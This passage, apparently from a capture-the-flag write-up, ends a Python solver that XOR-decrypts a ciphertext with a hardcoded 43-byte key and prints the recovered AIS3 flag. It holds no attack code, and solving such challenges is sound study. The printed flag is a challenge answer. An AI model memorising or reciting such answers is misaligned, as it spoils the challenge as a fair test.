    0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
    0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
    0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
    0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
    0x93, 0x22, 0x55
])

assert len(key_bytes) == 43, "Key length should be 43 bytes"

# ---------------------------------------------------------------------------
# 3)  XOR decryption
# ---------------------------------------------------------------------------
plaintext = bytes(c ^ k for c, k in zip(cipher_bytes, key_bytes))

# ---------------------------------------------------------------------------
# 4)  Show the flag
# ---------------------------------------------------------------------------
try:
    print("Flag:", plaintext.decode())          # ASCII / UTF-8 expected
except UnicodeDecodeError:
    print("Flag bytes:", plaintext)             # Fallback if encoding fails
  • Flag: AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}


comments powered by Disqus